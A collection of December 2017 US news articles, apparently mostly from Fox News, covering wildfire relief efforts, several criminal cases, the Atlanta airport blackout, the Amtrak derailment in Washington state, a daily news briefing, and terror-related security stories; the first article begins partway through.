Certain non-profit organizations were also eligible to receive funds, according to a statement from the White House.

Trump previously declared a state of emergency in California on Dec. 8, which allowed federal assistance to supplement the state and local response to the fires. His declaration was in response to a letter from California Gov. Jerry Brown. Los Angeles, Ventura, San Diego, Santa Barbara and Riverside counties will receive federal assistance.

More specifically, FEMA is authorized to identify, mobilize, and provide at its discretion, equipment and resources necessary to alleviate the impacts of the emergency, the emergency management agency said in a statement. Emergency protective measures, including direct federal assistance, was also provided at 75 percent federal funding.

United Way of Ventura County

In a partnership with the American Red Cross of Ventura County and the Ventura County Sheriff's Office of Emergency Services, the United Way of Ventura County started the Thomas Fire Fund to assist community relief efforts in the county, which was primarily been impacted by the Thomas Fire. This wildfire -- which is now the largest in the state's history -- has scorched more than 281,000 acres and destroyed more than 1,000 structures.

Salvation Army

The Salvation Army Ventura Corps accepted food, water and money donations to help those who were impacted by the wildfires, especially those who were evacuated to the Ventura County Fairgrounds.

Up until Dec. 9, the organization served a combined total of 4,619 meals to evacuees at the fairgrounds and at Nordhoff High School in Ojai, Calif., which also served as a temporary evacuation center.

The Red Cross

Roughly 615 people who were forced to leave their homes due to the wildfires sought refuge at the 13 Red Cross community shelters in Southern California.

Go Fund Me

Many individuals started fundraising campaigns on Go Fund Me in light of the wildfires.

California Community Foundations Wildfire Relief Fund

The California Community Foundation's Wildfire Relief Fund provides immediate and long-term wildfire recovery efforts. Since 2003, the fund has raised $3.5 million to support relief and recovery efforts.

More specifically, the fund supports those who have suffered long-term mental or health issues as a result of wildfires, helps to rebuild homes and provides financial assistance to victims, among other things.

L.A. Kitchen

L.A. Kitchen provided meals to firefighters and displaced wildfire victims.

Humane Society of Ventura County

The Humane Society of Ventura County housed more than 100 animals due to the wildfires. At the time, they were in need of basic animal supplies such as: cat food, alfalfa, hay, water troughs, hoses, flashlights and rabbit food.
A former day care worker was charged on Monday after she allegedly burned five toddlers with a hot glue gun while another assistant stood by laughing during the incident, officials said.

Lizandra Cosme, 32, was arrested on Sunday and charged with five counts of aggravated battery to a child, Chicago Tribune reported. She appeared in court on Monday and is being held without bail.

Cosme is accused of burning three girls and two boys, ages 2, on Dec. 1 while working at the Childrens Learning Place in Chicago's Logan Square. Its unclear how severe were the injuries.

Another woman Susana Gonzalez, 27, was also arrested and charged with five counts of causing the circumstance of endangering a child.

Prosecutors detailed in court a surveillance video where Cosme was seen squeezing out the hot liquid on the toddlers arms and hands. The 32-year-old was watching 16 children at the time, WLS reported. An assistant at the room allegedly laughed as she stood and watched the incident.

"Each of the child victims winced and some whined at the hot glue gun application," prosecutors said in court.

A mother notified the day care about burns she found on a child.

Lissa Druss Christman, spokeswoman for Childrens Learning Place said two employees were fired after officials were notified about the alleged incident.

The well-being of our students is paramount, Christman said in the statement. Upon learning of the alleged incident, we notified DCFS immediately and terminated two of our employees.

Cosme is expected to return to court on Dec. 26.
A Connecticut university student accused of smearing body fluids on her roommates belongings police initially labeled as a hate crime pleaded not guilty on Monday and wont face additional bias charges.

Brianna Brochu, 18, of Harwinton, pleaded not guilty to charges of criminal mischief and breach of peace. The former University of Hartford student asked for a trail by jury and the case was continued to Jan. 29.

Brochu admitted in an Instagram post in October that she rubbed her dirty tampons on Chennel Jazzy Rowes backpack and put the roommates toothbrush where the sun doesnt shine. She also licked Rowes plate, fork and spoon and mixed lotions together, FOX61 reported.

COLLEGE STUDENT PUT BODY FLUIDS ON ROOMMATE'S BELONGINGS, FACES HATE CRIME CHARGE: COPS

She got me out of the room after a month of spitting in my coconut oil, putting my toothbrush in places the sun doesnt shine, putting moldy clam dip in my lotion, Rowe told the news station.

Rowe, who is black, told police that Brochu, who is white, generally ignored her and treated her as a ghost, the Hartford Courant reported. Rowe requested a roommate swap after the Instagram post.

Representatives of the state NAACP and other civil rights advocates protested again in front of the courthouse on Monday, asking the state to add a hate crimes charge.

We are very very disappointed with the prosecutorsnot pressing this case hard enough, NAACP President Scot X. Esdaile said. They are not making this an urgent matter from where we sit.

Brochus lawyer said the 18-year-olds actions were not racially motivated.

Fox News' Travis Fedschun and The Associated Press contributed to this report.
Police in Colorado were searching for a mother of two who suspiciously vanished from her home earlier this month.

Kimberlee Graves, 41, of Fort Collins, was last seen at her home in early December. When a friend requested that police conduct a welfare check a few weeks ago, officers found no one at home and Graves' car gone, Denver's Fox 31 reported.

Whether the children were believed to be with Graves was unclear.

The car was later found abandoned in a parking garage.

A few days later, the same concerned friend found Graves home ransacked, the police said.

Fort Collins police said the suspicious circumstances of how Graves disappeared have caused concern, but police did not find any evidence suggesting Graves had been harmed.

Theres no evidence that would indicate injury to Kimberlee, but because of the kind of suspicious circumstances, we are asking the communitys help to locate her, said Kate Kimble, public relations manager for Fort Collins police, according to KUSA-TV.

Daniel Cordova, a friend of Graves, said she was worried about her. "Im just really concerned. Im curious what happened to my friend, Cordova told Fox 31. I heard about it when detectives came over to ask me questions  when is the last time I'd seen her, do I know the people that go over there, couple questions, thats about it.

The friend added that she was worried Graves may have gotten herself into trouble, which would explain her sudden disappearance.

"Too friendly. People in her house all the time. She had a nice 2015 [Toyota] RAV4 and she would just let people drive it. Next thing I know it was sideswiped, the window was broken out. I see someone keyed bad words into her door," Cordova said. "I kind of got onto her about trusting people too much -- and now look."
A former Pace University history professor has come under fire for writing a childrens book that claims Christmas is a Palestinian festival and that Jesus was an Abrahamic prophet born in a Palestinian city.

Golbarg Bashis book P is for Palestine has been labeled an incitement for terrorism and anti-Semitic propaganda. But the author told Fox News its a fun diverse childrens rhyme book that tells a social justice story about Palestinian history and culture through each letter of the English alphabet.

Bashi, a kids author committed to BDS (Boycott, Divestment, and Sanctions against Israel) and empowering, diversifying kids media, was heavily criticized for writing I is for intifada and calling intifada a peaceful resistance.

UC BERKELEY JEWISH STUDENTS SAY UNIVERSITY PROTECTING LECTURER WHO PROMOTES ANTI-SEMITISM

But B for Bethlehem, C for Christmas, and J for Jesus also raised some flags  for another reason.

As I have said repeatedly, I believe it is very important for American, Mexican, Canadian, Central and South American, British, Swedish and children from any region and nation whose most important holiday is Christmas to know that Christmas is a Palestinian festival, celebrating the birth of Jesus Christ, an Abrahamic Prophet who was born in Bethlehem, a Palestinian City, wrote Bashi.

Americans news media as well as American school books have never allowed this universal information to be passed on Bashi told Fox News, adding that Jesus was an Abrahamic prophet according to the one Abrahamic religion that followed it  Islam.

She said that Jesus being born in a Palestinian city is a universal truth denied to the American public. The page for Christmas claims Palestine is Jesus Christs country.

Bashi challenges any Christians who might find this offensive or historically inaccurate to visit the Occupied Territories, attend a Palestinian church in either Bethlehem or Nazareth, and pray with their fellow Christian Palestinian sisters and brothers.

Bashi also posted a Facebook live video of herself with pro-Palestinian activists protesting and singing anti-apartheid Christmas carols to the tune of God Rest Ye Merry Gentlemen.

The IDF, it shoots to kill the children raising fists, Israel jails people for their words and daring to persist. Oh, justice for Palestinian women and men. The question is not if, but when.

Last month, Bashi came under fire for posting about the book in a mothers online group.

I is for Intifada, Arabic for rising up for what is right, if you are a kid or grownup! the book reads with an illustration of a child on her fathers back standing in front of barbed wire sporting a peace sign.

The mothers online group, called UES Mommas, which has about 29,000 members of mostly moms from New Yorks Upper East Side, was forced to temporarily shut down because of the uproar over Bashis book.

Intifada refers to the two Palestinian uprisings against Israel, in the 80s and early 2000s, that included numerous bombing, shooting, and stabbing attacks.

Bashi defends intifada as the resistance and resilience against the global as well as the [United Nations] condemnation of Israeli occupation of Palestine. She says its a daily component of Palestinian life manifested in carrying a Palestinian flag, wearing a Palestinian dress, cooking a Palestinian dish, and protecting a Palestinian olive tree from being bulldozed.

The book received an endorsement from Linda Sarsour, a controversial pro-Palestinian activist accused of enabling sexual assault and harassment in the workplace.

LINDA SARSOUR BLAMES JEWISH MEDIA FOR HER CONTROVERSIAL REPUTATION

Critics have said the book should be outright banned from American bookstores.

Bashi dismissed those critics, saying they are just upset that Palestine is in the books title.

While Bashi told Fox News she is a part-time adjunct professor of history at Pace University since 2014, a spokesperson for Pace University said she is no longer employed by or has been teaching at the university since 2015.
The FBI is part of the probe into what caused a fire that knocked out power to the world's busiest airport in Atlanta, but an agency spokesman said Tuesday there was no sign of anything connected to terrorism.

"There's no indication at this point of anything nefarious," FBI spokesman Kevin Rowson said.

The federal Bureau of Alcohol, Tobacco, Firearms and Explosives has also been involved in the investigation, Georgia Power spokesman Craig Bell said.

"We're bringing everything we have to bear to the situation to make sure this doesn't happen again," Bell said Tuesday.

No conclusions have been drawn as to the cause of the fire, which took out the airport's power supply and also its backup electricity for about 11 hours Sunday. The blackout stranded thousands of passengers on grounded jets and in darkened concourses and led to the cancellation of more than 1,500 flights just ahead of the frenzied holiday travel period.

Hartsfield-Jackson Atlanta International Airport, the main hub for Delta Air Lines, is a crucial cog in the nation's air travel system. Delays there typically ripple across the nation because so many U.S. and international flights are routed through the Atlanta hub.

Because of the magnitude of Sunday's outage, "we want to be able to rule out any possible scenario that wasn't equipment malfunction," Bell said.

"We really don't expect any answers like that to come forth for a few days," he said.

The power company is working with the airport to explore how to prevent the situation from happening again.

Among ideas being discussed: Encasing in concrete the area that holds key electric equipment, or moving parts of the system to other areas. The blaze took out the main power and the backup system because the fire burned through parts of both in the same underground utility tunnel, authorities have said.

Delta and other carriers said they expected to be running normally Tuesday. But passengers trying to catch Tuesday morning flights faced wait times of up to an hour just to get through the main security checkpoint in the domestic terminal, the airport's website showed.

No matter how fast Delta and other airlines move, it will take a few days to get the hundreds of thousands of grounded passengers to their final destinations, said Robert Mann, president of an airline consulting firm in Port Washington, New York. In rare cases, some passengers won't arrive until Thursday, he said.

"There are just so few seats available during a peak holiday week, that's just going to take a lot of flights with four or five seats apiece," Mann said.

Among the sad stories: The blackout caused Kennesaw State University's women's basketball team to miss a three-day tournament in Puerto Rico. After the blackout, the Owls looked for flights to the island from airports throughout the Southeast but had no luck, coach Agnus Berenato said in a statement.

On Tuesday  two days after the outage  passengers were still sleeping in the atrium area that's often used for events aimed at showcasing the world's busiest airport. Video from news outlets showed passengers sprawled out on benches and chairs, and luggage piled up in a nearby area of the domestic terminal.

Mann said the rebooking of passengers was probably complicated by the large number of inexperienced travelers this time of year.

"They're more elderly, they're more young people, they're more infrequent travelers," he said. "All these folks are going to require a lot of face time, a lot of hand-holding."

Hartsfield-Jackson serves an average of 275,000 passengers a day. Nearly 2,500 planes arrive and depart each day.

___

Associated Press writers Tom Krisher in Detroit; David Koenig in Dallas; and Don Schanche Jr., Kate Brumback, Johnny Clark, and Robert Ray in Atlanta contributed to this report.
A Central Florida science teacher was arrested Sunday for sending sexually explicit messages to a 15-year-old Texas boy she met through Xbox One, officials said Tuesday.

Robin Dunlap, 27, continued exchanging sexual messages with the boy even after learning he was a teenager, police said.

Dunlap originally turned herself into police in September and admitted sending the underage boy nude photos, Winter Haven police said in a news release.

Dunlap claims she sent the photo because the boy represented himself as a 19-year-old during conversations they had over the Xbox One console, according to police.

The conversations eventually moved to the app Kik, where they texted and used video chat. Eventually, police said, the victims mother checked her sons phone and informed Dunlap her son was 15, not 19.

Investigators say Dunlap immediately turned herself in to police  but then continued having conversations with him through Google Hangouts, police said.

FORMER CHRISTIAN SCHOOL TEACHER, 29, ARRESTED DAYS AFTER BEING CAUGHT IN BED WITH TEEN BOY BY HUSBAND: COPS

On Sunday, detectives met with the teacher again at her home, where she admitted she continued to speak to the teenager, investigators said.

Dunlap told detectives the teenager was the only person who understood her, according to a press release. The 27-year-old gave investigators consent to look at her phones, where they found conversations from Nov. 26 to Dec. 11 that slowly progressed to extremely vulgar and sexually explicit language, the release read.

SHOCK AS TEACHER, 32, ACCUSED OF ORAL SEX, INTERCOURSE INSIDE SCHOOL WITH TEEN BOY STUDENT

"There is absolutely no excuse for an adult  especially a high school teacher  to continue sexually explicit conversations with a 15-year-old long after his real age is revealed," Winter Haven Police Chief Charlie Bird said in a statement. "The vulnerable age of this victim and the fact that this woman took advantage of him for her own personal needs is inexcusable."

Dunlap was charged with transmitting material harmful to a minor and using a communication device to commit a felony.

Dunlap is listed as a science teacher on the Haines City High Schools website. She was still being held at Polk County jail on Tuesday, according to arrest records.
A former Oregon Christian school teacher was arrested after being accused of having an affair with a 15-year-old student that lasted for more than a year, authorities said Monday.

Andrea Nicole Baber, 29, was arrested at her home in Cottage Grove on Friday, the Register-Guard reported. The arrest came days after Babers husband allegedly walked in on her and the teen in bed, according to the News-Review.

The students father reported the relationship to police Dec. 12 after he and his wife received an anonymous email asking if they knew the boy and the Logos Christian Academy teacher were in a sexual relationship, authorities said.

The message was attached with photos of the teacher and the boy, according to the Register-Guard, citing an affidavit filed in Douglas County Circuit Court.

The teen told deputies that he and Baber had been in a relationship since 2017, when the boy was 15, according to the newspaper. Deputies said the teen provided him with alcohol and weed.

Baber was booked Friday at a Douglas County Jail on several charges, including sodomy, rape and contributing to the delinquency of a minor, according to the New York Post.

The sheriffs office said Baber no longer works at Logos Christian Academy. Her profile was still featured Monday, but was taken down as of Tuesday.

Andrea has always felt called to work with youth and is very excited that God opened the door for her to be part of the Logos team, her biography said, according to the Post. She lives with her husband, dog and cat just south of Eugene.
Welcome to Fox News First. Not signed up yet? Click here.

Developing now, Tuesday, Dec. 19, 2017:

GOP lawmaker urges Congress to look into allegations that Obama administration blocked a Hezbollah drug trafficking probe to ensure the Iran nuke deal

FBI's Andrew McCabe to testify on alleged bias in the Clinton email investigation and Mueller's Russia probe

Two Republican holdouts say they support the GOP tax reform bill, likely guaranteeing the legislation's passage

An Amtrak train that derailed in Washington state, killing at least three people, was reportedly going 50 mph above its speed limit

Tavis Smiley tells Fox News he still doesn't know why PBS suspended him as he fights sexual misconduct allegations

THE LEAD STORY: A Republican congressman has urged the House to look into a report that the Obama administration held up a Drug Enforcement Administration task forces investigation into Hezbollahs drug-trafficking and money-laundering operations, all to ensure the Iran nuclear deal remained on track ... Rep. Robert Pittenger, R-N.C., made the request to House Oversight Committee Chairman Trey Gowdy after Politico reported Sunday that Obama administration officials roadblocked the task force effort to curtail the Lebanese militant groups criminal activities. Politico reported that the red tape against Project Cassandra allowed Hezbollah to evolve into a major global security threat.

BIAS AT THE BUREAU?: FBI Deputy Director Andrew McCabe faces a grilling behind closed doors today on allegations of political bias in the Hillary Clinton email investigation and Special Counsel Mueller's Russia collusion probe ... McCabe is set to face questions from the House Intelligence Committee about FBI official Peter Strzoks role in the two investigations. Strzok was removed from Mueller's team after anti-Trump texts he had exchanged with a colleague came to light. Lawmakers will also want to know whether McCabe had a role in these communications, as one text exchange referred to an "Andy" and an insurance policy against a Trump presidency.

Before he was part of Mueller's team, Strzok, a former deputy to the assistant director for counterintelligence at the FBI, played a key role in the Clinton email case. He was the person who changed the language from grossly negligent to extremely careless in then-FBI Director James Comey's draft statement on the email probe, appearing to water down the bureau's findings.

NO MORE HOLDOUTS: GOP Sens. Susan Collins of Maine and Mike Lee of Utah now say they will support President Trump's tax overhaul, leaving only one Republican undecided as the bill nears its final vote ... The yes votes likely guarantee the bill will pass the upper chamber and lead Trump to his first significant legislative win. The only Republican not yet on board is Sen. Jeff Flake. When asked whether he supports the tax bill, he told Fox News, Well, we're still looking at the bill, still reading the bill, still working on some other issues.

WHAT CAUSED DERAILMENT?: An Amtrak train that derailed during its inaugural ride on a new line in Washington state was supposed to slow down significantly before its fatal crash, according to a report ... The Amtrak derailment left at least three dead and 100 people injured Monday. Transportation Department spokeswoman Barbara LaBoe said the curve where the train derailed has a speed limit of 30 mph, the Seattle Times reported. The train was going 81.1 mph moments before derailing and plummeting to Interstate 5. In addition, Amtrak President Richard Anderson told reporters in a conference call that Positive Train Control  the technology that can slow or stop a speeding train  wasnt in use on the stretch of track where the derailment occurred.

Local Washington mayor feared deadly accidents weeks before Amtrak derailment

SMILEY WANTS ANSWERS: Talk show host Tavis Smiley told Fox News hes not sure why PBS suspended him and that the network has refused to reveal the specific allegations of sexual misconduct that have been levied against him ... "PBS to this very moment has not told me specifically what I am being suspended for," Smiley said during an interview on "Tucker Carlson Tonight," adding that he did not even know an investigation had begun until co-workers contacted him. "PBS launched an investigation without telling me about it," he said. "I found out about it in the streets. PBS suspended distribution of Smiley's show last week, citing allegations that he had behaved inappropriately in the workplace. Smiley has denied the charges.

Shocking new details of Matt Lauer's alleged affair with much younger assistant revealed

AS SEEN ON FOX NEWS

'INSIDER'S INSIDER': "[Robert] Mueller is the last guy on the planet who should be an independent counsel, because he's not independent in anything. He used to work for Paul Manafort's law firm. He's connected with everybody. Ever since he was appointed, for the last six months I have sat and watched FOX and I watched MSNBC, and watched CNN and all the others, and the endless parade of beltway insiders saying, well, I've known Bob Mueller since 1972 and you couldn't find a straighter arrow. He's an Eagle Scout. And that's exactly why, whether or not that's true, that's exactly why he shouldn't be independent counsel. He's not independent. He's the insiders' insider."  Mark Steyn, on "Tucker Carlson Tonight," arguing why Robert Mueller should have never been appointed as a special counsel. WATCH

TRUMP'S 'AMERICA FIRST' NATIONAL SECURITY: "We are a constitutional republic - the most prosperous country on Earth. Thumbs up for Donald Trump for celebrating America again." - Dan Bongino, on "Hannity," praising President Trump's national security plan, which was unveiled Monday. WATCH

ACROSS THE NATION

White House says North Korea was behind massive 'WannaCry' cyberattack in May.

Trump unveils national security strategy: 'America is going to win.'

Twitter begins purge of far-right accounts as new hate speech rules take effect.

MINDING YOUR BUSINESS

Bitcoin is a 'social experiment,' says 'Wolf of Wall Street' Jordan Belfort.

Carolina Panthers sale: What Jerry Richardson could earn amid allegations.

Buffett's latest milestone: Berkshire stock hits $300,000.

NEW IN FOX NEWS OPINION

Dr. Marc Siegel: The terrorist in the emergency room.

A former Navy SEAL's Christmas wish: Our homeless veterans need your help.

Juan Williams: The ground shifts on immigration.

HOLLYWOOD SQUARED

'The Office' revival reportedly in the works.

Harvey Weinstein downfall documentary already being produced by BBC.

'Star Wars' fans share divided reactions to 'The Last Jedi.'

DID YOU HEAR ABOUT THIS?

In 2018, we will see a black hole for the first time ever.

Seasonal affective disorder: It's more than the winter blues

This Pepsi parenting hack may help during flu season.

STAY TUNED

On Fox News:

Fox & Friends, 6 a.m. ET: Newt Gingrich and Fox News foreign policy analyst Kiron Skinner breaks down Trump's national security strategy; Judge Andrew Napolitano on whether Special Counsel Mueller improperly obtained Trump transition memos; Fox News contributor Kevin Jackson gives his take on a columnist who says the GOP tax plan is the worst thing since the Fugitive Slave Act.

The Ingraham Angle, 10 p.m. ET: Investigative reporter Sara Carter on FBI Deputy Director Andrew McCabe's grilling on Capitol Hill.

On Fox Business:

Tax reform and Congress's race against time to avoid a government shutdown will be among the hot topics. Get all the latest news and analysis from the guests below!

Mornings with Maria, 6 a.m. ET: Sen. Mike Rounds; Rep. Roger Williams; Former CKE Restaurants CEO Andy Puzder; Jay Walker, Priceline Founder, on holiday travel; legal scholar Alan Dershowitz on the problems facing Mueller's Russia probe.

Varney & Co., 9 a.m. ET: RNC Chair Ronna Romney McDaniel; Sen. Steve Daines on Trump's national security plan; Rep. Jim Jordan and James Kallstrom on questions surrounding the FBI's handling of the Clinton email and Russia investigations.

Cavuto: Coast to Coast, Noon ET: Former Sen. Joe Lieberman; Rep. Mike Kelly.

On Fox News Radio:

The Brian Kilmeade Show, 9 a.m. to Noon ET: House Judiciary Committee Chairman Bob Goodlatte on FBI Deputy Director Andrew McCabe's anticipated testimony on alleged agency bias in the Clinton email and Mueller probes.

The Fox News Rundown podcast: A tragic train derailment in Tacoma, Wash. has caused some to question the nation's infrastructure. Former rail investigator with the National Transportation Safety Board Russ Quimby sheds light on the status of America's railways.

He was only there for a total of 11 days, but former White House Communications Director Anthony Scaramucci made sure he made the most of his time in the White House. Scaramucci discusses his goal to expose White House leakers, serving the President's agenda and rumored friction between staffers. Plus, commentary by "The Five" co-host Juan Williams.

Want the Fox News Rundown sent straight to your mobile device? Subscribe through Apple Podcasts, Google Play, and Stitcher.

#OnThisDay

2016: A driver plows into a Christmas market in Berlin, killing 12 people and injuring 56 others.

2012: Four State Department officials resign under pressure, less than a day after a damning report blamed management failures for a lack of security at the U.S. diplomatic mission in Benghazi, Libya, where militants killed the U.S. ambassador and three other Americans.

1998: President Bill Clinton is impeached by the Republican-controlled House for perjury and obstruction of justice. (He was subsequently acquitted by the Senate.)

1843: "A Christmas Carol," by Charles Dickens, is first published in England.

Thank you for joining us on Fox News First! Enjoy your day, and we'll see you in your inbox first thing Wednesday morning.
An Ohio man was sentenced Tuesday to life in prison with the chance of parole after 15 years in the fatal shooting of a coal executive at a West Virginia cemetery.

A Mingo County circuit judge added two consecutive one-to-five-year sentences for first-degree robbery and conspiracy to Anthony Raheem Arriaga's life sentence for first-degree murder in the death of Bennett "Ben" Hatfield, WCHS-TV reported.

Hatfield, 59, was shot while visiting his wife's gravesite in Maher in May 2016, a year after he resigned as CEO and president of Patriot Coal, which filed for bankruptcy citing low coal prices and falling demand. At the time he was operating his own mining consulting business, Coal Strategies LLC.

According to testimony at trial, Arriaga, 22, of Delphos, Ohio, told police he shot Hatfield in the back in a plan to steal his GMC Yukon Denali and sell it for parts. Arriaga had said he had been using drugs and had little sleep over several days.

In April, Arriaga pleaded guilty to murder and robbery charges, but later withdrew his plea. He claimed that co-conspirator Brandon Fitzpatrick was the one who fired the gun.

At his trial earlier this month, Fitzpatrick said he was with Arriaga and knew Arriaga had a gun when they pulled behind Hatfield's SUV at the cemetery.

Fitzpatrick, 20, of Louisa, Kentucky, was convicted of first-degree murder and conspiracy to commit robbery. He is scheduled to be sentenced Jan. 18 and faces up to life in prison with the chance of parole after 15 years.

___

Information from: WCHS-TV, http://www.wchstv.com
An Amtrak train carrying more than 70 passengers derailed in Washington state Monday morning during its inaugural ride on a new route, leaving multiple people dead and injured  but a local mayor predicted the high-speed rail plan would end with a deadly accident.

Mayor Don Anderson and other city officials in Lakewood, southwest of Tacoma, attended a meeting on Dec. 4 on the new project to upgrade tracks, KOMO News reported. Anderson believed it was a matter of time the high-speed train would be involved in a deadly accident.

Its virtually inevitable that someone is going to get killed that wouldnt be killed otherwise," Anderson said. "This is unacceptable."

AMTRAK TRAIN DERAILS IN WASHINGTON STATE ONTO INTERSTATE 5, LEAVING SEVERAL DEAD

Come back when there is that accident, and try to justify not putting in those safety enhancements, or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens, Anderson said.

Anderson also advocated for grade separations, including overpasses, to keep trains sufficiently separated from pedestrians and cars.

Monday was the first day that schedule changes to include two new round trips between Seattle and Portland began for Amtraks Cascades service. The project rerouted passenger trains to a bypass rail line that ran along Interstate 5, in an effort to cut the travel time by 10 minutes, according to KOMO. Project officials touted its on-time reliability, saying the new trains could reach speeds up to 79 mph.

Officials in Lakewood also went to court in 2013 to stop the Point Defiance Bypass project. In March 2014, a judge dismissed the lawsuit and the $181 million track upgrade moved forward. Until now, the route was used by freight trains.

TRUMP: AMTRAK DERAILMENT SHOWS NEED FOR INFRASTRUCTURE PLAN

Amtrak train 501 heading southbound derailed around 7:30 a.m. local time after it left the new Tacoma station. At least three people were killed and more than 70 were transported to nearby hospitals. Its still unclear what caused the derailment, but a U.S. official told The Associated Press that track obstruction was being investigated as a possible cause.

Photos from the scene showed at least one train car completely detached and on Interstate 5 while another dangled in the air. Drivers on the highway were injured, but none were killed, police said.

President Trump also tweeted shortly after the derailment: The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!

He followed it up with another tweet saying his thoughts and prayers were with everyone involved in the deadly derailment.

Fox News' Nicole Darrah and The Associated Press contributed to this report.
A 2-year-old boy was shot to death by his mother, who then tried to kill herself with a knife, Arizona authorities said.

The mother, Alyssa Pettibone, 26, was arrested Monday on a second-degree murder charge after she was treated at a hospital for stab wounds, Buckeye police said.

The toddler, Hudson Pettibone, was shot one time, Buckeye police spokeswoman Tamela Skaggs told Fox News on Tuesday. Police released his name at his family's request.

Police discovered Hudson after getting a 911 call about a shooting at a Buckeye home on Friday afternoon, police said.

MOM CLAIMED SHE HEARD 'VOICES' IN HER HEAD BEFORE STABBING BABY BOY

Pettibone was found in the home with stab wounds and taken to the hospital.

"There was somebody injured, but no suspects, so I was thinking accident or accidental shooting," neighbor Jeff Morris told Fox 10 Phoenix.

"I don't understand why a mother would do that to her child, he said. You hear a lot about this. Holidays bring out the worst in people, I guess.

Pettibone was jailed on the murder charge after her release from the hospital. Her parents attended the arraignment, the station reported.

Prosecutors asked for bail, telling the judge that Pettibone was a danger to herself because she had tried to committ suicide. She was ordered held on $750,000 cash bail, the station reported.

Pettibone lived in the home with her son and her parents, CBS 5 Phoenix reported.
Federal authorities say two motel managers enslaved an Indian immigrant for more than a year in western Nebraska, forcing him to work without pay and abusing him.

Vishnubhai Chaudhari, 50, and Leelabahen Chaudhari, 44, pleaded guilty in federal court on Monday to conspiracy and alien harboring for financial gain, the Omaha World-Herald reported .

The two were managers of a Super 8 Motel in Kimball, a town near the Wyoming and Colorado borders.

The unidentified man was taken into immigration custody in Texas after entering the U.S. illegally in 2011. The Chaudharis, who also were living in the U.S. illegally, arranged to pay his bond in October of that year and then set up his transportation to Kimball, court documents and authorities said. The pair then forced the man to clean rooms, wash clothes and do other chores for them seven days a week, investigators said.

The Chaudharis isolated the man from guests at the motel and hid him from police officers in the area. Leelabahen Chaudhari assaulted the victim on a regular basis and Vishnubhai Chaudhari threatened to find the man if he were to escape, the U.S. Justice Department said.

"Human trafficking is the modern world's version of enslaving another person for profit," said Alex Khu, special agent in charge with U.S. Homeland Security Investigations. "That is what these individuals have done to this victim."

Acting U.S. Attorney Robert C. Stuart of the District of Nebraska said: "This case is a reminder that forced labor occurs in the United States, not just overseas."

A motel guest and local law enforcement helped the man escape, the U.S. Justice Department said. The department declined to say what happened to the victim, citing privacy concerns.

The Chaudharis will be sentenced March 19. They've paid the man $40,000 in restitution.

___

Information from: Omaha World-Herald, http://www.omaha.com
In this era of escalating terrorism, one of the worlds major cities  known for some of the tightest security possible  is heightening its vigilance to keep everyone safe.

New York Gov. Andrew Cuomo on Tuesday announced the deployment of additional personnel from the State Police and the National Guard at key transportation points throughout the holidays.

Port Authority and Metropolitan Transportation Authority police will also increase their numbers as part of the effort to safeguard New York City.

In addition, officials say radiation detectors and bomb-sniffing dogs will be used.

Cuomo said the stepped-up security presence isnt based on any credible threats or information suggesting imminent danger. He said the preparations are being implemented out of an abundance of caution.

He pointed to recent terror plots, including a subway bombing earlier this month.

On Dec. 11, Akayed Ullah, 27, strapped a pipe bomb to his body with hook-and-loop tape and zip ties, and it detonated in a subway corridor at Port Authority in Midtown Manhattan, police said.

Ullah was charged with federal terrorism-related offenses punishable by up to life in prison and was informed of the charges via video last week as he lay in a hospital bed.

Investigators said Ullah, from Bangladesh, was indoctrinated into terrorism through internet videos. Ullah was the only one seriously hurt in the episode, sustaining burns on his hands and torso.

It was the second lone-wolf terror attack on the city in a six-week stretch.

On Oct. 31, Halloween, a man in a rented truck mowed down cyclists and pedestrians on a crowded bike path near the World Trade Center, killing eight people.

Amid such attacks and attempts, authorities around the world are keeping on high alert.

Police in the United Kingdom may have disrupted a Christmas terror plot Tuesday, according to Sky News, following recent online Islamic State threats to attack Christmas markets.

According to Sky News, a police bomb squad was called to a property in Chesterfield, with detectives fearful that a gang of would-be terrorists had assembled an explosive device. Antiterror police also targeted four properties in Sheffield in a joint move with MI-5 to foil a planned attack, according to Sky News.

Fox News previously reported that Russian President Vladimir Putin called President Trump on Sunday to thank him for intelligence that helped thwart a planned attack in St. Petersburg. The Kremlin said Putin told Trump during the call that the information provided by the CIA was sufficient to track down and detain a group of suspects that planning to bomb the Kazan Cathedral and other sites in the city.

The Associated Press contributed to this report.
A woman was arrested after spitting in the face of Houston's police chief when he tried to arrest her for allegedly stealing items from a Walgreen's on Saturday, officials said.

Houston Police Chief Art Acevedo was off-duty and shopping when he saw Danielle Paris, 40, taking items from the drugstore and harassing employees outside.

Paris then resisted arrest when Acevedo tried to detain her, kicking and spitting several times on him and another officer who responded to the scene, police said.

The woman who was apparently intoxicated resisted, allegedly kicking the chief and then spitting in his face, police said.

FLORIDA TEACHER SENT NUDE PHOTOS TO TEEN BOY IN TEXAS, COPS SAY

KPRC-TV reports Paris remained jailed Monday, and was charged with harassment of a public servant, which is a felony.

Court records show Paris was arrested last month for spitting at another officer. The charge was later reduced to a misdemeanor.

Houston's top cop told KPRC-TV her previous arrest brings up a common concern for law enforcement.

"My concern is the person that was arrested and charged with a third degree felony to another officer that was plea bargained down to a misdemeanor and at some point, we shouldn't wait until somebody ends up getting hepatitis or some other kind of communicable disease from someone who makes a habit of spitting in first responders faces," Acevedo saidy.

Paris is being held at the Harris County jail on a $3,000 bail and is due in court again on Tuesday.

The Associated Press contributed to this report.
A Swedish prosecutor says one of two men held for allegedly throwing firebombs at a synagogue in the Swedish city of Goteborg, has been released.

Stina Lundqvist says the 18-year-old man, who was not further identified in line with Swedish practice, remains a suspect in Dec. 16 attack in Sweden's second largest city.

She said Tuesday there was not sufficient evidence to keep him jailed while police investigate the attack. No one was injured and the firebombs didn't damage the building.

On Dec. 8, anti-Jewish slogans reportedly were yelled during a small pro-Palestinian rally in Malmo, southern Sweden, to protest U.S. President Donald Trump's decision to recognize Jerusalem as Israel's capital.

Swedish lawmakers have condemned both incidents and security around Jewish facilities in Sweden has been increased.
Egypt's military spokesman says a "projectile" hit the airport in the city of el-Arish in the turbulent north of the Sinai peninsula while the country's defense and interior ministers were visiting.

In a statement posted on his official Facebook page, the spokesman said an officer was killed and two "other" people were wounded in Tuesday's attack. A helicopter was also damaged, he added, but gave no further details.

Visits to el-Arish or any other part of northern Sinai by senior officials are carried out in secrecy.

News of the attack provided the first word that the ministers were visiting.

